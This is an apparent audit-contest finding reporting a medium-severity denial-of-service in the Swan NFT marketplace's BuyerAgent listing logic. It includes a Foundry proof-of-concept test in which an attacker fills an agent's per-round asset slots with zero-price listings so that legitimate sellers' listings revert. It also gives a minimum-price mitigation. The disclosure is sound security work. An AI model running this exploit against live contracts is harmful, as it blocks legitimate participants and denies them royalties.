Dria

Swan
NFTHardhat
21,000 USDC
View results
Submission Details
Severity: medium
Valid

Participation of (any) BuyerAgent in Buy phase can be prevented

Summary

The BuyerAgent's assets to buy for current round can be DOSed and the agent won't be able to progress.

Vulnerability Details

The assetsPerBuyerRound[buyer][round] mapping has a maximum number of assets that can be listed, defined by maxAssetCount market parameter.
An attacker can list maxAssetCount for the BuyerAgent he wants to DOS with price = 0 making the cost of the attack equal to the gas cost of calling the function.

Impact

It could potentially lead to DOSing any BuyerAgent in any round, where they won't have an item to buy in Buy phase. Also, the BuyerAgent won't receive any royalties since the price of the items listed is zero.

Proof of Concept for preventing any BuyerAgent from participating to Buy phase

Overview:

The attacker lists the max number of assets possible to list for the BuyerAgent, resulting in any legitimate seller's listing to revert.

Actors:

  • Attacker: The address which will call list function maxAssetCount times on the target agent.

  • Victim: The BuyerAgent which will be targeted by the attacker, prevented from participating in the Buy phase.

Test Case:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
import {Test, console} from "forge-std/Test.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import {ERC1967Proxy} from "@openzeppelin/contracts/proxy/ERC1967/ERC1967Proxy.sol";
import {Swan} from "../contracts/swan/Swan.sol";
import {SwanMarketParameters} from "../contracts/swan/SwanManager.sol";
import {LLMOracleTaskParameters} from "../contracts/llm/LLMOracleTask.sol";
import {LLMOracleCoordinator} from "../contracts/llm/LLMOracleCoordinator.sol";
import {LLMOracleRegistry, LLMOracleKind} from "../contracts/llm/LLMOracleRegistry.sol";
import {BuyerAgentFactory, BuyerAgent} from "../contracts/swan/BuyerAgent.sol";
import {SwanAssetFactory, SwanAsset} from "../contracts/swan/SwanAsset.sol";
contract MockERC20 is ERC20 {
constructor(string memory _name, string memory _symbol) ERC20(_name, _symbol) {}
}
contract POC is Test {
IERC20 dria;
LLMOracleCoordinator coordinator;
LLMOracleRegistry registry;
address buyerAgentFactory;
address swanAssetFactory;
Swan swan;
uint256 maxAssetCount = 5;
function setUp() public {
// Buyer Agent Factory setup
buyerAgentFactory = address(new BuyerAgentFactory());
// Swan Asset Factory setup
swanAssetFactory = address(new SwanAssetFactory());
// dria token setup
dria = IERC20(new MockERC20("dria", "dria"));
// Oracle Registry setup
address impl = address(new LLMOracleRegistry());
uint256 generatorStakeAmount = 0.01 ether;
uint256 validatorStakeAmount = 0.01 ether;
bytes memory data =
abi.encodeCall(LLMOracleRegistry.initialize, (generatorStakeAmount, validatorStakeAmount, address(dria)));
address proxy = address(new ERC1967Proxy(impl, data));
registry = LLMOracleRegistry(proxy);
// Oracle Coordination setup
impl = address(new LLMOracleCoordinator());
uint256 platformFee = 1;
uint256 generationFee = 0.02 ether;
uint256 validationFee = 0.03 ether;
data = abi.encodeCall(
LLMOracleCoordinator.initialize,
(address(registry), address(dria), platformFee, generationFee, validationFee)
);
proxy = address(new ERC1967Proxy(impl, data));
coordinator = LLMOracleCoordinator(proxy);
// swan setup
impl = address(new Swan());
LLMOracleTaskParameters memory llmParams =
LLMOracleTaskParameters({difficulty: 1, numGenerations: 1, numValidations: 1});
SwanMarketParameters memory swanParams = SwanMarketParameters({
withdrawInterval: 30 minutes,
sellInterval: 60 minutes,
buyInterval: 20 minutes,
platformFee: 1,
maxAssetCount: maxAssetCount,
timestamp: 0
});
data = abi.encodeCall(
Swan.initialize,
(swanParams, llmParams, address(coordinator), address(dria), buyerAgentFactory, swanAssetFactory)
);
proxy = address(new ERC1967Proxy(impl, data));
swan = Swan(proxy);
}
function test_PoC() public {
address buyer = makeAddr("buyer");
address seller = makeAddr("seller");
// buyer setting up his agent
uint96 feeRoyalty = 1;
uint256 amountPerRound = 0.1 ether;
vm.prank(buyer);
BuyerAgent agent = swan.createBuyer("agent/1.0", "Testing agent", feeRoyalty, amountPerRound);
// attacker DOS on agent
address attacker = makeAddr("attacker");
vm.startPrank(attacker);
for (uint256 i = 0; i < maxAssetCount; i++) {
swan.list("AttackerItem", "ATTACKERITEM", "Test Description", 0, address(agent));
}
vm.stopPrank();
// seller listing his item for the buyer's agent (gets reverted)
vm.startPrank(seller);
uint256 listPrice = 0.1 ether;
deal(address(dria), seller, listPrice);
dria.approve(address(swan), listPrice);
vm.expectRevert();
swan.list("Item0", "ITEM0", "Test Description", listPrice, address(agent));
vm.stopPrank();
}
}

Tools Used

Manual Review, Foundry

Recommended Mitigation

Introduce a minimum price in order to avoid such attacks, otherwise, make the seller to pay a fixed royalty to the buyerAgent instead of a percentage of the price.

Updates

Lead Judging Commences

inallhonesty Lead Judge 10 months ago
Submission Judgement Published
Validated
Assigned finding tags:

DOS the buyer / Lack of minimal amount of listing price

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.